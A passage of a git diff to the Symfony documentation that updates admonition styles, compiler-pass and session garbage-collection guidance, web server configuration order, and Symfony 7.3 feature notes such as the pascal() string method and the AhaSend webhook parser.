     use Symfony\Bundle\FrameworkBundle\Kernel\MicroKernelTrait;
+    use Symfony\Component\DependencyInjection\Compiler\CompilerPassInterface;
     use Symfony\Component\DependencyInjection\ContainerBuilder;
     use Symfony\Component\HttpKernel\Kernel as BaseKernel;
 
-    class Kernel extends BaseKernel
+    class Kernel extends BaseKernel implements CompilerPassInterface
     {
         use MicroKernelTrait;
 
         // ...
 
-        protected function build(ContainerBuilder $container): void
+        public function process(ContainerBuilder $container): void
         {
-            $container->addCompilerPass(new CustomPass());
+            // in this method you can manipulate the service container:
+            // for example, changing some container service:
+            $container->getDefinition('app.some_private_service')->setPublic(true);
+
+            // or processing tagged services:
+            foreach ($container->findTaggedServiceIds('some_tag') as $id => $tags) {
+                // ...
+            }
         }
     }
 
-.. _kernel-as-compiler-pass:
-
-One of the most common use-cases of compiler passes is to work with :doc:`tagged
-services </service_container/tags>`. In those cases, instead of creating a
-compiler pass, you can make the kernel implement
-:class:`Symfony\\Component\\DependencyInjection\\Compiler\\CompilerPassInterface`
-and process the services inside the ``process()`` method::
+If you create separate compiler pass classes, enable them in the ``build()``
+method of the application kernel::
 
     // src/Kernel.php
     namespace App;
 
+    use App\DependencyInjection\Compiler\CustomPass;
     use Symfony\Bundle\FrameworkBundle\Kernel\MicroKernelTrait;
-    use Symfony\Component\DependencyInjection\Compiler\CompilerPassInterface;
     use Symfony\Component\DependencyInjection\ContainerBuilder;
     use Symfony\Component\HttpKernel\Kernel as BaseKernel;
 
-    class Kernel extends BaseKernel implements CompilerPassInterface
+    class Kernel extends BaseKernel
     {
         use MicroKernelTrait;
 
         // ...
 
+        protected function build(ContainerBuilder $container): void
+        {
+            $container->addCompilerPass(new CustomPass());
+        }
+    }
+
+Working with Compiler Passes in Bundles
+---------------------------------------
+
+If your compiler pass is relatively small, you can add it directly in the main
+bundle class. To do so, make your bundle implement the
+:class:`Symfony\\Component\\DependencyInjection\\Compiler\\CompilerPassInterface`
+and place the compiler pass code inside the ``process()`` method of the main
+bundle class::
+
+    // src/MyBundle/MyBundle.php
+    namespace App\MyBundle;
+
+    use App\DependencyInjection\Compiler\CustomPass;
+    use Symfony\Component\DependencyInjection\ContainerBuilder;
+    use Symfony\Component\HttpKernel\Bundle\AbstractBundle;
+
+    class MyBundle extends AbstractBundle
+    {
         public function process(ContainerBuilder $container): void
         {
             // in this method you can manipulate the service container:
@@ -63,12 +95,8 @@ and process the services inside the ``process()`` method::
         }
     }
 
-Working with Compiler Passes in Bundles
----------------------------------------
-
-:doc:`Bundles </bundles>` can define compiler passes in the ``build()`` method of
-the main bundle class (this is not needed when implementing the ``process()``
-method in the extension)::
+Alternatively, when using :ref:`separate compiler pass classes <components-di-separate-compiler-passes>`,
+bundles can enable them in the ``build()`` method of their main bundle class::
 
     // src/MyBundle/MyBundle.php
     namespace App\MyBundle;
@@ -88,7 +116,7 @@ method in the extension)::
     }
 
 If you are using custom :doc:`service tags </service_container/tags>` in a
-bundle then by convention, tag names consist of the name of the bundle
-(lowercase, underscores as separators), followed by a dot, and finally the
-"real" name. For example, if you want to introduce some sort of "transport" tag
-in your AcmeMailerBundle, you should call it ``acme_mailer.transport``.
+bundle, the convention is to format tag names by starting with the bundle's name
+in lowercase (using underscores as separators), followed by a dot, and finally
+the specific tag name. For example, to introduce a "transport" tag in your
+AcmeMailerBundle, you would name it ``acme_mailer.transport``.
diff --git a/service_container/definitions.rst b/service_container/definitions.rst
index e54a99237d9..a2a50591668 100644
--- a/service_container/definitions.rst
+++ b/service_container/definitions.rst
@@ -86,7 +86,7 @@ fetched from the container::
 
     // gets a specific argument
     $firstArgument = $definition->getArgument(0);
-    
+
     // adds a new named argument
     // '$argumentName' = the name of the argument in the constructor, including the '$' symbol
     $definition = $definition->setArgument('$argumentName', $argumentValue);
@@ -100,7 +100,7 @@ fetched from the container::
     // replaces all previously configured arguments with the passed array
     $definition->setArguments($arguments);
 
-.. caution::
+.. warning::
 
     Don't use ``get()`` to get a service that you want to inject as constructor
     argument, the service is not yet available. Instead, use a
diff --git a/service_container/lazy_services.rst b/service_container/lazy_services.rst
index 41f27d8448f..23d76a4cfbf 100644
--- a/service_container/lazy_services.rst
+++ b/service_container/lazy_services.rst
@@ -21,7 +21,7 @@ Configuring lazy services is one answer to this. With a lazy service, a
 like the ``mailer``, except that the ``mailer`` isn't actually instantiated
 until you interact with the proxy in some way.
 
-.. caution::
+.. warning::
 
     Lazy services do not support `final`_ or ``readonly`` classes, but you can use
     `Interface Proxifying`_ to work around this limitation.
diff --git a/service_container/service_decoration.rst b/service_container/service_decoration.rst
index b3bf0bc5864..e2cadbb0a4b 100644
--- a/service_container/service_decoration.rst
+++ b/service_container/service_decoration.rst
@@ -289,35 +289,35 @@ the ``decoration_priority`` option. Its value is an integer that defaults to
 
 .. configuration-block::
 
-        .. code-block:: php-attributes
+    .. code-block:: php-attributes
 
-            // ...
-            use Symfony\Component\DependencyInjection\Attribute\AsDecorator;
-            use Symfony\Component\DependencyInjection\Attribute\AutowireDecorated;
+        // ...
+        use Symfony\Component\DependencyInjection\Attribute\AsDecorator;
+        use Symfony\Component\DependencyInjection\Attribute\AutowireDecorated;
 
-            #[AsDecorator(decorates: Foo::class, priority: 5)]
-            class Bar
-            {
-                public function __construct(
-                    #[AutowireDecorated]
-                    private $inner,
-                ) {
-                }
-                // ...
+        #[AsDecorator(decorates: Foo::class, priority: 5)]
+        class Bar
+        {
+            public function __construct(
+                #[AutowireDecorated]
+                private $inner,
+            ) {
             }
+            // ...
+        }
 
-            #[AsDecorator(decorates: Foo::class, priority: 1)]
-            class Baz
-            {
-                public function __construct(
-                    #[AutowireDecorated]
-                    private $inner,
-                ) {
-                }
-
-                // ...
+        #[AsDecorator(decorates: Foo::class, priority: 1)]
+        class Baz
+        {
+            public function __construct(
+                #[AutowireDecorated]
+                private $inner,
+            ) {
             }
 
+            // ...
+        }
+
     .. code-block:: yaml
 
         # config/services.yaml
@@ -609,24 +609,24 @@ Three different behaviors are available:
 
 .. configuration-block::
 
-        .. code-block:: php-attributes
-
-            // ...
-            use Symfony\Component\DependencyInjection\Attribute\AsDecorator;
-            use Symfony\Component\DependencyInjection\Attribute\AutowireDecorated;
-            use Symfony\Component\DependencyInjection\ContainerInterface;
+    .. code-block:: php-attributes
 
-            #[AsDecorator(decorates: Mailer::class, onInvalid: ContainerInterface::IGNORE_ON_INVALID_REFERENCE)]
-            class Bar
-            {
-                public function __construct(
-                    private #[AutowireDecorated] $inner,
-                ) {
-                }
+        // ...
+        use Symfony\Component\DependencyInjection\Attribute\AsDecorator;
+        use Symfony\Component\DependencyInjection\Attribute\AutowireDecorated;
+        use Symfony\Component\DependencyInjection\ContainerInterface;
 
-                // ...
+        #[AsDecorator(decorates: Mailer::class, onInvalid: ContainerInterface::IGNORE_ON_INVALID_REFERENCE)]
+        class Bar
+        {
+            public function __construct(
+                #[AutowireDecorated] private $inner,
+            ) {
             }
 
+            // ...
+        }
+
     .. code-block:: yaml
 
         # config/services.yaml
@@ -673,7 +673,7 @@ Three different behaviors are available:
             ;
         };
 
-.. caution::
+.. warning::
 
     When using ``null``, you may have to update the decorator constructor in
     order to make decorated dependency nullable::
diff --git a/service_container/service_subscribers_locators.rst b/service_container/service_subscribers_locators.rst
index 8afbb767e45..9c6451931d1 100644
--- a/service_container/service_subscribers_locators.rst
+++ b/service_container/service_subscribers_locators.rst
@@ -962,7 +962,7 @@ and compose your services with them::
         }
     }
 
-.. caution::
+.. warning::
 
     When creating these helper traits, the service id cannot be ``__METHOD__``
     as this will include the trait name, not the class name. Instead, use
diff --git a/service_container/tags.rst b/service_container/tags.rst
index 4ee2fbd21f2..bf50a191ba3 100644
--- a/service_container/tags.rst
+++ b/service_container/tags.rst
@@ -112,7 +112,7 @@ If you want to apply tags automatically for your own services, use the
                     ->tag('app.custom_tag');
         };
 
-.. caution::
+.. warning::
 
     If you're using PHP configuration, you need to call ``instanceof`` before
     any service registration to make sure tags are correctly applied.
@@ -1281,4 +1281,19 @@ be used directly on the class of the service you want to configure::
         // ...
     }
 
+You can apply the ``#[AsTaggedItem]`` attribute multiple times to register the
+same service under different indexes:
+
+    #[AsTaggedItem(index: 'handler_one', priority: 5)]
+    #[AsTaggedItem(index: 'handler_two', priority: 20)]
+    class SomeService
+    {
+        // ...
+    }
+
+.. versionadded:: 7.3
+
+    The feature to apply the ``#[AsTaggedItem]`` attribute multiple times was
+    introduced in Symfony 7.3.
+
 .. _`PHP constructor promotion`: https://www.php.net/manual/en/language.oop5.decon.php#language.oop5.decon.constructor.promotion
diff --git a/session.rst b/session.rst
index 393cd24a898..0c5348ec9e6 100644
--- a/session.rst
+++ b/session.rst
@@ -419,7 +419,7 @@ session metadata files:
 Check out the Symfony config reference to learn more about the other available
 :ref:`Session configuration options <config-framework-session>`.
 
-.. caution::
+.. warning::
 
     Symfony sessions are incompatible with ``php.ini`` directive
     ``session.auto_start = 1`` This directive should be turned off in
@@ -492,12 +492,11 @@ the ``php.ini`` directive ``session.gc_maxlifetime``. The meaning in this contex
 that any stored session that was saved more than ``gc_maxlifetime`` ago should be
 deleted. This allows one to expire records based on idle time.
 
-However, some operating systems (e.g. Debian) do their own session handling and set
-the ``session.gc_probability`` variable to ``0`` to stop PHP doing garbage
-collection. That's why Symfony now overwrites this value to ``1``.
-
-If you wish to use the original value set in your ``php.ini``, add the following
-configuration:
+However, some operating systems (e.g. Debian) manage session handling differently
+and set the ``session.gc_probability`` variable to ``0`` to prevent PHP from performing
+garbage collection. By default, Symfony uses the value of the ``gc_probability``
+directive set in the ``php.ini`` file. If you can't modify this PHP setting, you
+can configure it directly in Symfony:
 
 .. code-block:: yaml
 
@@ -505,14 +504,19 @@ configuration:
     framework:
         session:
             # ...
-            gc_probability: null
+            gc_probability: 1
 
-You can configure these settings by passing ``gc_probability``, ``gc_divisor``
-and ``gc_maxlifetime`` in an array to the constructor of
+Alternatively, you can configure these settings by passing ``gc_probability``,
+``gc_divisor`` and ``gc_maxlifetime`` in an array to the constructor of
 :class:`Symfony\\Component\\HttpFoundation\\Session\\Storage\\NativeSessionStorage`
 or to the :method:`Symfony\\Component\\HttpFoundation\\Session\\Storage\\NativeSessionStorage::setOptions`
 method.
 
+.. versionadded:: 7.2
+
+    Using the ``php.ini`` directive as the default value for ``gc_probability``
+    was introduced in Symfony 7.2.
+
 .. _session-database:
 
 Store Sessions in a Database
@@ -1536,7 +1540,7 @@ event::
         }
     }
 
-.. caution::
+.. warning::
 
     In order to update the language immediately after a user has changed their
     language preferences, you also need to update the session when you change
diff --git a/setup.rst b/setup.rst
index 1d7081e93b7..b269da2c476 100644
--- a/setup.rst
+++ b/setup.rst
@@ -48,10 +48,10 @@ application:
 .. code-block:: terminal
 
     # run this if you are building a traditional web application
-    $ symfony new my_project_directory --version="7.2.x-dev" --webapp
+    $ symfony new my_project_directory --version="7.3.x-dev" --webapp
 
     # run this if you are building a microservice, console application or API
-    $ symfony new my_project_directory --version="7.2.x-dev"
+    $ symfony new my_project_directory --version="7.3.x-dev"
 
 The only difference between these two commands is the number of packages
 installed by default. The ``--webapp`` option installs extra packages to give
@@ -63,12 +63,12 @@ Symfony application using Composer:
 .. code-block:: terminal
 
     # run this if you are building a traditional web application
-    $ composer create-project symfony/skeleton:"7.2.x-dev" my_project_directory
+    $ composer create-project symfony/skeleton:"7.3.x-dev" my_project_directory
     $ cd my_project_directory
     $ composer require webapp
 
     # run this if you are building a microservice, console application or API
-    $ composer create-project symfony/skeleton:"7.2.x-dev" my_project_directory
+    $ composer create-project symfony/skeleton:"7.3.x-dev" my_project_directory
 
 No matter which command you run to create the Symfony application. All of them
 will create a new ``my_project_directory/`` directory, download some dependencies
diff --git a/setup/_update_all_packages.rst.inc b/setup/_update_all_packages.rst.inc
index a6a6c70e570..7b858c51351 100644
--- a/setup/_update_all_packages.rst.inc
+++ b/setup/_update_all_packages.rst.inc
@@ -9,7 +9,7 @@ this safely by running:
 
     $ composer update
 
-.. caution::
+.. warning::
 
     Beware, if you have some unspecific `version constraints`_ in your
     ``composer.json`` (e.g. ``dev-master``), this could upgrade some
diff --git a/setup/file_permissions.rst b/setup/file_permissions.rst
index 7bf2d0bf035..45195f21e31 100644
--- a/setup/file_permissions.rst
+++ b/setup/file_permissions.rst
@@ -67,12 +67,12 @@ Edit your web server configuration (commonly ``httpd.conf`` or ``apache2.conf``
 for Apache) and set its user to be the same as your CLI user (e.g. for Apache,
 update the ``User`` and ``Group`` directives).
 
-.. caution::
+.. danger::
 
     If this solution is used in a production server, be sure this user only has
     limited privileges (no access to private data or servers, execution of
-    unsafe binaries, etc.) as a compromised server would give to the hacker
-    those privileges.
+    unsafe binaries, etc.) as a compromised server would give those privileges
+    to the hacker.
 
 3. Without Using ACL
 ~~~~~~~~~~~~~~~~~~~~
@@ -89,7 +89,7 @@ and ``public/index.php`` files::
 
     umask(0000); // This will let the permissions be 0777
 
-.. caution::
+.. warning::
 
     Changing the ``umask`` is not thread-safe, so the ACL methods are recommended
     when they are available.
diff --git a/setup/symfony_server.rst b/setup/symfony_server.rst
index f8b7c6e35c4..2ea4da543fe 100644
--- a/setup/symfony_server.rst
+++ b/setup/symfony_server.rst
@@ -294,7 +294,7 @@ domains work:
     # Example with Cypress
     $ https_proxy=$(symfony proxy:url) ./node_modules/bin/cypress open
 
-.. caution::
+.. warning::
 
     Although env var names are always defined in uppercase, the ``https_proxy``
     env var `is treated differently`_ than other env vars and its name must be
@@ -357,7 +357,7 @@ There are several options that you can set using a ``.symfony.local.yaml`` confi
         use_gzip: true # Toggle GZIP compression
         no_workers: true # Do not start workers
 
-.. caution::
+.. warning::
 
     Setting domains in this configuration file will override any domains you set
     using the ``proxy:domain:attach`` command for the current project when you start
@@ -524,7 +524,7 @@ its location, same as for ``docker-compose``:
     If you have more than one Docker Compose file, you can provide them all
     separated by ``:`` as explained in the `Docker compose CLI env var reference`_.
 
-.. caution::
+.. warning::
 
     When using the Symfony binary with ``php bin/console`` (``symfony console ...``),
     the binary will **always** use environment variables detected via Docker and will
@@ -534,7 +534,7 @@ its location, same as for ``docker-compose``:
     ``symfony console doctrine:database:drop --force --env=test``, the command will drop the database
     defined in your Docker configuration and not the "test" one.
 
-.. caution::
+.. warning::
 
     Similar to other web servers, this tool automatically exposes all environment
     variables available in the CLI context. Ensure that this local server is not
diff --git a/setup/upgrade_major.rst b/setup/upgrade_major.rst
index 60983e299a6..d8520ad05b4 100644
--- a/setup/upgrade_major.rst
+++ b/setup/upgrade_major.rst
@@ -98,7 +98,7 @@ Now, you can start fixing the notices:
 Once you fixed them all, the command ends with ``0`` (success) and you're
 done!
 
-.. caution::
+.. warning::
 
     You will probably see many deprecations about incompatible native
     return types. See :ref:`Add Native Return Types <upgrading-native-return-types>`
diff --git a/setup/web_server_configuration.rst b/setup/web_server_configuration.rst
index e5a0c9e7fd9..acd76c342b9 100644
--- a/setup/web_server_configuration.rst
+++ b/setup/web_server_configuration.rst
@@ -49,60 +49,6 @@ listen on. Each pool can also be run under a different UID and GID:
     ; or listen on a TCP connection
     ; listen = 127.0.0.1:9000
 
-Apache
-------
-
-If you are running Apache 2.4+, you can use ``mod_proxy_fcgi`` to pass
-incoming requests to PHP-FPM. Install the Apache2 FastCGI mod
-(``libapache2-mod-fastcgi`` on Debian), enable ``mod_proxy`` and
-``mod_proxy_fcgi`` in your Apache configuration, and use the ``SetHandler``
-directive to pass requests for PHP files to PHP FPM:
-
-.. code-block:: apache
-
-    # /etc/apache2/conf.d/example.com.conf
-    <VirtualHost *:80>
-        ServerName example.com
-        ServerAlias www.example.com
-
-        # Uncomment the following line to force Apache to pass the Authorization
-        # header to PHP: required for "basic_auth" under PHP-FPM and FastCGI
-        #
-        # SetEnvIfNoCase ^Authorization$ "(.+)" HTTP_AUTHORIZATION=$1
-
-        <FilesMatch \.php$>
-            # when using PHP-FPM as a unix socket
-            SetHandler proxy:unix:/var/run/php/php8.3-fpm.sock|fcgi://dummy
-
-            # when PHP-FPM is configured to use TCP
-            # SetHandler proxy:fcgi://127.0.0.1:9000
-        </FilesMatch>
-
-        DocumentRoot /var/www/project/public
-        <Directory /var/www/project/public>
-            AllowOverride None
-            Require all granted
-            FallbackResource /index.php
-        </Directory>
-
-        # uncomment the following lines if you install assets as symlinks
-        # or run into problems when compiling LESS/Sass/CoffeeScript assets
-        # <Directory /var/www/project>
-        #     Options FollowSymlinks
-        # </Directory>
-
-        ErrorLog /var/log/apache2/project_error.log
-        CustomLog /var/log/apache2/project_access.log combined
-    </VirtualHost>
-
-.. note::
-
-    If you are doing some quick tests with Apache, you can also run
-    ``composer require symfony/apache-pack``. This package creates an ``.htaccess``
-    file in the ``public/`` directory with the necessary rewrite rules needed to serve
-    the Symfony application. However, in production, it's recommended to move these
-    rules to the main Apache configuration file (as shown above) to improve performance.
-
 Nginx
 -----
 
@@ -183,13 +129,67 @@ The **minimum configuration** to get your application running under Nginx is:
     If you have other PHP files in your public directory that need to be executed,
     be sure to include them in the ``location`` block above.
 
-.. caution::
+.. warning::
 
     After you deploy to production, make sure that you **cannot** access the ``index.php``
     script (i.e. ``http://example.com/index.php``).
 
 For advanced Nginx configuration options, read the official `Nginx documentation`_.
 
+Apache
+------
+
+If you are running Apache 2.4+, you can use ``mod_proxy_fcgi`` to pass
+incoming requests to PHP-FPM. Install the Apache2 FastCGI mod
+(``libapache2-mod-fastcgi`` on Debian), enable ``mod_proxy`` and
+``mod_proxy_fcgi`` in your Apache configuration, and use the ``SetHandler``
+directive to pass requests for PHP files to PHP FPM:
+
+.. code-block:: apache
+
+    # /etc/apache2/conf.d/example.com.conf
+    <VirtualHost *:80>
+        ServerName example.com
+        ServerAlias www.example.com
+
+        # Uncomment the following line to force Apache to pass the Authorization
+        # header to PHP: required for "basic_auth" under PHP-FPM and FastCGI
+        #
+        # SetEnvIfNoCase ^Authorization$ "(.+)" HTTP_AUTHORIZATION=$1
+
+        <FilesMatch \.php$>
+            # when using PHP-FPM as a unix socket
+            SetHandler proxy:unix:/var/run/php/php8.3-fpm.sock|fcgi://dummy
+
+            # when PHP-FPM is configured to use TCP
+            # SetHandler proxy:fcgi://127.0.0.1:9000
+        </FilesMatch>
+
+        DocumentRoot /var/www/project/public
+        <Directory /var/www/project/public>
+            AllowOverride None
+            Require all granted
+            FallbackResource /index.php
+        </Directory>
+
+        # uncomment the following lines if you install assets as symlinks
+        # or run into problems when compiling LESS/Sass/CoffeeScript assets
+        # <Directory /var/www/project>
+        #     Options FollowSymlinks
+        # </Directory>
+
+        ErrorLog /var/log/apache2/project_error.log
+        CustomLog /var/log/apache2/project_access.log combined
+    </VirtualHost>
+
+.. note::
+
+    If you are doing some quick tests with Apache, you can also run
+    ``composer require symfony/apache-pack``. This package creates an ``.htaccess``
+    file in the ``public/`` directory with the necessary rewrite rules needed to serve
+    the Symfony application. However, in production, it's recommended to move these
+    rules to the main Apache configuration file (as shown above) to improve performance.
+
 Caddy
 -----
 
diff --git a/string.rst b/string.rst
index 43d3a236ab6..e51e7d1b502 100644
--- a/string.rst
+++ b/string.rst
@@ -234,8 +234,10 @@ Methods to Change Case
     u('Foo: Bar-baz.')->snake(); // 'foo_bar_baz'
     // changes all graphemes/code points to kebab-case
     u('Foo: Bar-baz.')->kebab(); // 'foo-bar-baz'
-    // other cases can be achieved by chaining methods. E.g. PascalCase:
-    u('Foo: Bar-baz.')->camel()->title(); // 'FooBarBaz'
+    // changes all graphemes/code points to PascalCase
+    u('Foo: Bar-baz.')->pascal(); // 'FooBarBaz'
+    // other cases can be achieved by chaining methods, e.g. :
+    u('Foo: Bar-baz.')->camel()->upper(); // 'FOOBARBAZ'
 
 .. versionadded:: 7.1
 
@@ -246,6 +248,10 @@ Methods to Change Case
 
     The ``kebab()`` method was introduced in Symfony 7.2.
 
+.. versionadded:: 7.3
+
+    The ``pascal()`` method was introduced in Symfony 7.3.
+
 The methods of all string classes are case-sensitive by default. You can perform
 case-insensitive operations with the ``ignoreCase()`` method::
 
diff --git a/templates.rst b/templates.rst
index 9ae234f460b..50e052d69fd 100644
--- a/templates.rst
+++ b/templates.rst
@@ -1114,7 +1114,7 @@ template fragments. Configure that special URL in the ``fragments`` option:
             $framework->fragments()->path('/_fragment');
         };
 
-.. caution::
+.. warning::
 
     Embedding controllers requires making requests to those controllers and
     rendering some templates as result. This can have a significant impact on
@@ -1320,7 +1320,7 @@ different templates to create the final contents. This inheritance mechanism
 boosts your productivity because each template includes only its unique contents
 and leaves the repeated contents and HTML structure to some parent templates.
 
-.. caution::
+.. warning::
 
     When using ``extends``, a child template is forbidden to define template
     parts outside of a block. The following code throws a ``SyntaxError``:
diff --git a/testing.rst b/testing.rst
index 06360899dee..30c0e87ab77 100644
--- a/testing.rst
+++ b/testing.rst
@@ -235,7 +235,7 @@ in them, files lower in the list override previous items):
 #. ``.env.test``: overriding/setting specific test values or vars;
 #. ``.env.test.local``: overriding settings specific for this machine.
 
-.. caution::
+.. warning::
 
     The ``.env.local`` file is **not** used in the test environment, to
     make each test set-up as consistent as possible.
@@ -750,7 +750,7 @@ You can also override HTTP headers on a per request basis::
         'HTTP_USER_AGENT' => 'MySuperBrowser/1.0',
     ]);
 
-.. caution::
+.. warning::
 
     The name of your custom headers must follow the syntax defined in the
     `section 4.1.18 of RFC 3875`_: replace ``-`` by ``_``, transform it into
@@ -961,11 +961,11 @@ However, Symfony provides useful shortcut methods for the most common cases:
 Response Assertions
 ...................
 
-``assertResponseIsSuccessful(string $message = '')``
+``assertResponseIsSuccessful(string $message = '', bool $verbose = true)``
     Asserts that the response was successful (HTTP status is 2xx).
-``assertResponseStatusCodeSame(int $expectedCode, string $message = '')``
+``assertResponseStatusCodeSame(int $expectedCode, string $message = '', bool $verbose = true)``
     Asserts a specific HTTP status code.
-``assertResponseRedirects(?string $expectedLocation = null, ?int $expectedCode = null, string $message = '')``
+``assertResponseRedirects(?string $expectedLocation = null, ?int $expectedCode = null, string $message = '', bool $verbose = true)``
     Asserts the response is a redirect response (optionally, you can check
     the target location and status code). The excepted location can be either
     an absolute or a relative path.
@@ -983,9 +983,13 @@ Response Assertions
     Asserts the response format returned by the
     :method:`Symfony\\Component\\HttpFoundation\\Response::getFormat` method
     is the same as the expected value.
-``assertResponseIsUnprocessable(string $message = '')``
+``assertResponseIsUnprocessable(string $message = '', bool $verbose = true)``
     Asserts the response is unprocessable (HTTP status is 422)
 
+.. versionadded:: 7.1
+
+    The ``$verbose`` parameters were introduced in Symfony 7.1.
+
 Request Assertions
 ..................
 
diff --git a/testing/end_to_end.rst b/testing/end_to_end.rst
index e43f5fa2be2..d59f243f998 100644
--- a/testing/end_to_end.rst
+++ b/testing/end_to_end.rst
@@ -457,7 +457,7 @@ Accepting Self-Signed SSL Certificates
 To force Chrome to accept invalid and self-signed certificates, you can set the
 following environment variable: ``PANTHER_CHROME_ARGUMENTS='--ignore-certificate-errors'``.
 
-.. caution::
+.. danger::
 
     This option is insecure, use it only for testing in development environments,
     never in production (e.g. for web crawlers).
diff --git a/testing/insulating_clients.rst b/testing/insulating_clients.rst
index 5a76d517ced..ea9cba3c046 100644
--- a/testing/insulating_clients.rst
+++ b/testing/insulating_clients.rst
@@ -43,7 +43,7 @@ clean PHP process, thus avoiding any side effects.
     As an insulated client is slower, you can keep one client in the main
     process, and insulate the other ones.
 
-.. caution::
+.. warning::
 
     Insulating tests requires some serializing and unserializing operations. If
     your test includes data that can't be serialized, such as file streams when
diff --git a/translation.rst b/translation.rst
index 0e5f09d342e..2b9a3534cdc 100644
--- a/translation.rst
+++ b/translation.rst
@@ -392,7 +392,7 @@ translation of *static blocks of text*:
 
     {% trans %}Hello %name%{% endtrans %}
 
-.. caution::
+.. warning::
 
     The ``%var%`` notation of placeholders is required when translating in
     Twig templates using the tag.
@@ -410,7 +410,7 @@ You can also specify the message domain and pass some additional variables:
 
     {% trans with {'%name%': 'Fabien'} from 'app' into 'fr' %}Hello %name%{% endtrans %}
 
-.. caution::
+.. warning::
 
     Using the translation tag has the same effect as the filter, but with one
     major difference: automatic output escaping is **not** applied to translations
@@ -537,7 +537,7 @@ The choice of which loader to use is entirely up to you and is a matter of
 taste. The recommended option is to use YAML for simple projects and use XLIFF
 if you're generating translations with specialized programs or teams.
 
-.. caution::
+.. warning::
 
     Each time you create a *new* message catalog (or install a bundle
     that includes a translation catalog), be sure to clear your cache so
@@ -1175,7 +1175,7 @@ unused translation messages templates:
 
     {{ 'Symfony is great'|trans }}
 
-.. caution::
+.. warning::
 
     The extractors can't find messages translated outside templates (like form
     labels or controllers) unless using :ref:`translatable objects
diff --git a/validation.rst b/validation.rst
index 3f9b16785d1..4905283b18b 100644
--- a/validation.rst
+++ b/validation.rst
@@ -525,7 +525,7 @@ class to have at least 3 characters.
             }
         }
 
-.. caution::
+.. warning::
 
     The validator will use a value ``null`` if a typed property is uninitialized.
     This can cause unexpected behavior if the property holds a value when initialized.
diff --git a/validation/custom_constraint.rst b/validation/custom_constraint.rst
index 435b976d1d3..59da9e60568 100644
--- a/validation/custom_constraint.rst
+++ b/validation/custom_constraint.rst
@@ -62,6 +62,47 @@ You can use ``#[HasNamedArguments]`` to make some constraint options required::
         }
     }
 
+Constraint with Private Properties
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
+Constraints are cached for performance reasons. To achieve this, the base
+``Constraint`` class uses PHP's :phpfunction:`get_object_vars` function, which
+excludes private properties of child classes.
+
+If your constraint defines private properties, you must explicitly include them
+in the ``__sleep()`` method to ensure they are serialized correctly::
+
+    // src/Validator/ContainsAlphanumeric.php
+    namespace App\Validator;
+
+    use Symfony\Component\Validator\Attribute\HasNamedArguments;
+    use Symfony\Component\Validator\Constraint;
+
+    #[\Attribute]
+    class ContainsAlphanumeric extends Constraint
+    {
+        public string $message = 'The string "{{ string }}" contains an illegal character: it can only contain letters or numbers.';
+
+        #[HasNamedArguments]
+        public function __construct(
+            private string $mode,
+            ?array $groups = null,
+            mixed $payload = null,
+        ) {
+            parent::__construct([], $groups, $payload);
+        }
+
+        public function __sleep(): array
+        {
+            return array_merge(
+                parent::__sleep(),
+                [
+                    'mode'
+                ]
+            );
+        }
+    }
+
 Creating the Validator itself
 -----------------------------
 
diff --git a/validation/groups.rst b/validation/groups.rst
index 3842c781969..8d84e52c0da 100644
--- a/validation/groups.rst
+++ b/validation/groups.rst
@@ -140,7 +140,7 @@ Constraints in the ``Default`` group of a class are the constraints that have
 either no explicit group configured or that are configured to a group equal to
 the class name or the string ``Default``.
 
-.. caution::
+.. warning::
 
     When validating *just* the User object, there is no difference between the
     ``Default`` group and the ``User`` group. But, there is a difference if
diff --git a/validation/sequence_provider.rst b/validation/sequence_provider.rst
index 7d3663f45fc..836568c2327 100644
--- a/validation/sequence_provider.rst
+++ b/validation/sequence_provider.rst
@@ -117,7 +117,7 @@ In this example, it will first validate all constraints in the group ``User``
 (which is the same as the ``Default`` group). Only if all constraints in
 that group are valid, the second group, ``Strict``, will be validated.
 
-.. caution::
+.. warning::
 
     As you have already seen in :doc:`/validation/groups`, the ``Default`` group
     and the group containing the class name (e.g. ``User``) were identical.
@@ -131,7 +131,7 @@ that group are valid, the second group, ``Strict``, will be validated.
     sequence, which will contain the ``Default`` group which references the
     same group sequence, ...).
 
-.. caution::
+.. warning::
 
     Calling ``validate()`` with a group in the sequence (``Strict`` in previous
     example) will cause a validation **only** with that group and not with all
diff --git a/web_link.rst b/web_link.rst
index e5ad7e1159c..8602445313f 100644
--- a/web_link.rst
+++ b/web_link.rst
@@ -50,20 +50,14 @@ Imagine that your application includes a web page like this:
     </body>
     </html>
 
-Following the traditional HTTP workflow, when this page is served browsers will
-make one request for the HTML page and another request for the linked CSS file.
-However, thanks to HTTP/2 your application can start sending the CSS file
-contents even before browsers request them.
-
-To do that, first install the WebLink component:
-
-.. code-block:: terminal
-
-    $ composer require symfony/web-link
-
-Now, update the template to use the ``preload()`` Twig function provided by
-WebLink. The `"as" attribute`_ is mandatory because browsers need it to apply
-correct prioritization and the content security policy:
+In a traditional HTTP workflow, when this page is loaded, browsers make one
+request for the HTML document and another for the linked CSS file. However,
+with HTTP/2, your application can send the CSS file's contents to the browser
+before it requests them.
+
+To achieve this, update your template to use the ``preload()`` Twig function
+provided by WebLink. Note that the `"as" attribute`_ is required, as browsers use
+it to prioritize resources correctly and comply with the content security policy:
 
 .. code-block:: html+twig
 
diff --git a/webhook.rst b/webhook.rst
index aba95cffb04..674c9f2c5c6 100644
--- a/webhook.rst
+++ b/webhook.rst
@@ -23,6 +23,7 @@ Currently, the following third-party mailer providers support webhooks:
 ============== ============================================
 Mailer Service Parser service name
 ============== ============================================
+AhaSend        ``mailer.webhook.request_parser.ahasend``
 Brevo          ``mailer.webhook.request_parser.brevo``
 Mandrill       ``mailer.webhook.request_parser.mailchimp``
 MailerSend     ``mailer.webhook.request_parser.mailersend``
@@ -42,9 +43,13 @@ Sweego         ``mailer.webhook.request_parser.sweego``
 
 .. versionadded:: 7.2
 
-    The ``Mandrill``,  ``Mailomat``, ``Mailtrap``, and ``Sweego`` integrations were introduced in
+    The ``Mandrill``, ``Mailomat``, ``Mailtrap``, and ``Sweego`` integrations were introduced in
     Symfony 7.2.
 
+.. versionadded:: 7.3
+
+    The ``AhaSend`` integration was introduced in Symfony 7.3.
+
 .. note::
 
     Install the third-party mailer provider you want to use as described in the
diff --git a/workflow.rst b/workflow.rst
index 52997531409..11b4005bb10 100644
--- a/workflow.rst
+++ b/workflow.rst
@@ -321,7 +321,7 @@ if you are using Doctrine, the matching column definition should use the type ``
         // ...
     }
 
-.. caution::
+.. warning::
 
     You should not use the type ``simple_array`` for your marking store. Inside
     a multiple state marking store, places are stored as keys with a value of one,

